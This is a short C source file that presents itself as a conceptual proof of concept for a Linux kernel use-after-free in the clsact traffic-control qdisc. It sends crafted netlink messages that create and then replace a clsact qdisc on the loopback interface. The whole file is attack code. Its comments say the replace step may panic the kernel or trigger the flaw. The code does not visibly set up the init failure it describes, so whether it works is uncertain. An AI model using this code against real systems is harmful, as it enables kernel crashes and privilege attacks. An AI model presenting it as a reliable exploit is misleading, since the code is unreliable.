/*
* Conceptual PoC for CVE-2026-23413
* Triggering clsact use-after-free via rollback asymmetry
* This requires a system with a vulnerable Linux kernel.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#define NLMSG_TAIL(nmsg) ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
void addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, int alen) {
int len = RTA_LENGTH(alen);
struct rtattr *rta;
if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) return;
rta = NLMSG_TAIL(n);
rta->rta_type = type;
rta->rta_len = len;
memcpy(RTA_DATA(rta), data, alen);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
}
int main() {
int fd;
struct sockaddr_nl sa;
char buf[4096];
struct nlmsghdr *nh;
struct tcmsg *t;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) { perror("socket"); return -1; }
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Step 1: Create an initial clsact qdisc
memset(buf, 0, sizeof(buf));
nh = (struct nlmsghdr *)buf;
nh->nlmsg_type = RTM_NEWQDISC;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
t = (struct tcmsg *)NLMSG_DATA(nh);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("lo"); // Target loopback
t->tcm_parent = TC_H_CLSACT;
t->tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0);
addattr_l(nh, sizeof(buf), TCA_KIND, "clsact", sizeof("clsact"));
send(fd, buf, nh->nlmsg_len, 0);
// Step 2: Attempt to replace with a config that triggers init failure
// The goal is to make tcf_block_get_ext fail during egress init
// while ingress is already partially set up, causing rollback.
memset(buf, 0, sizeof(buf));
nh = (struct nlmsghdr *)buf;
nh->nlmsg_type = RTM_NEWQDISC;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE | NLM_F_ACK;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
t = (struct tcmsg *)NLMSG_DATA(nh);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("lo");
t->tcm_parent = TC_H_CLSACT;
t->tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0);
addattr_l(nh, sizeof(buf), TCA_KIND, "clsact", sizeof("clsact"));
// Sending the replace request. Kernel might panic or trigger UAF here.
send(fd, buf, nh->nlmsg_len, 0);
close(fd);
return 0;
}